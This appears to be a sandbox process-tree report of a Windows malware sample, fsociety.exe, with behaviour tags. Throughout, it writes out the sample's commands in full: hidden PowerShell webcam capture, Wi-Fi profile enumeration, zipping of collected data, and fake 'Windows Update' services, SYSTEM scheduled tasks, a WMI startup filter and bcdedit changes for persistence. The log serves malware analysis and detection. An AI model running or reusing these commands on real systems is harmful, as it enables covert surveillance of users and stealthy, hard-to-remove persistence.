  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240718375.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240718375.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  PID:716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240718375.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240718375.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4312
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    PID:3536
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240717625\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
  2⤵
  PID:2080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240717625\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4216

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Modifies WinLogon
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1224
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2024
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    PID:1340
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5412
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:4156
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3496
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:2144
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3768
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    PID:1928
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:3440
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:4624
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5492
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:1692
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:3540
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3312
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    PID:1272
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1500
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:5348
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1656
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    PID:456
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:1624
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:4416
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:5576
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  PID:6012
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:3224
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:1700
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:5420
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  PID:4252
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    PID:3580
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  PID:944
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    PID:4648
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  PID:5496
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    PID:3984
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:5508
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    PID:3000
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:3320
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:1692
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:3012
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc obj= LocalSystem
    3⤵
    PID:3220
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WinUpdateSvc >nul 2>&1
  2⤵
  PID:5176
- - C:\Windows\system32\sc.exe
    sc start WinUpdateSvc
    3⤵
    PID:5972
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:4676
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:4272
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:4912
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:5208
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:2436
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5764
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:5400
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
  2⤵
  PID:3120
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
    3⤵
    PID:4492
- C:\Windows\system32\cmd.exe
  cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
  2⤵
  PID:2332
- - C:\Windows\system32\schtasks.exe
    schtasks /run /tn "WindowsUpdate"
    3⤵
    PID:4168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
  2⤵
  PID:5188
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1340
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5400
- C:\Windows\system32\cmd.exe
  cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
  2⤵
  PID:1376
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} bootmenupolicy legacy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1048
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:248
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:3272
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:4248
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:4168
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:2656
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:4256
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:1420
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:124
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:2856
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:4656
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:760
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:3764
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:3244
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:572
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:5512
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:1356
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:5524
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:4380
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:6228
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:6428
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:6752
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:2072
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:6528
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:6752
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:6176
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6904
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:5524
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:6232
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:6312
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:6948
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:6708
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:6356
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:7152
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:7080
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:6804
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:6480
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:6336
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6848
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:5956
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:6640
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:7456
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:7772
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:7116
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:7232
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:7320
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:8156
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:8172
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:8120
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:7880
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:5924
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:2496
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7252
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:7300
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:7528
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:7240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:8352
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:9088
- - C:\Windows\system32\cmd.exe
    cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
    3⤵
    PID:7384
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy legacy
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8400
- - C:\Windows\system32\fsociety.exe
    "C:\Windows\system32\fsociety.exe"
    3⤵
    PID:4112
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop WindowsUpdate >nul 2>&1
      4⤵
      PID:6644
    - - C:\Windows\system32\sc.exe
        
        sc stop WindowsUpdate
        5⤵
        
        PID:1280
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240804437.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240804437.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    PID:4132
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240718484.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240718484.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
  2⤵
  PID:3760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240718484.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Users\Admin\AppData\Local\Temp\webcam_240718484.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  PID:4336
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5616
- C:\Windows\system32\cmd.exe
  cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240718390\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
  2⤵
  PID:1728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data_240718390\*' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\tokyocore_data.zip' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan show profile
  2⤵
  PID:4456
- - C:\Windows\system32\netsh.exe
    netsh wlan show profile
    3⤵
    PID:6832

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe ,explorer.exe
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4632
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3920
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    PID:5756
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  PID:4692
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:4256
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:4848
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:5380
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  PID:2664
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    PID:4164
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  PID:6040
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:2460
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:2464
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:5188
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  PID:3004
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:256
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:2956
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  PID:2440
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:5100
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  PID:1544
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    PID:1064
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  PID:3912
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:2068
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  PID:2404
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    PID:1236
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  PID:4604
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:3632
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:1084
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:2944
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  PID:956
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:5900
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:2912
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:4944
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  PID:3952
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    PID:2096
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  PID:2672
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
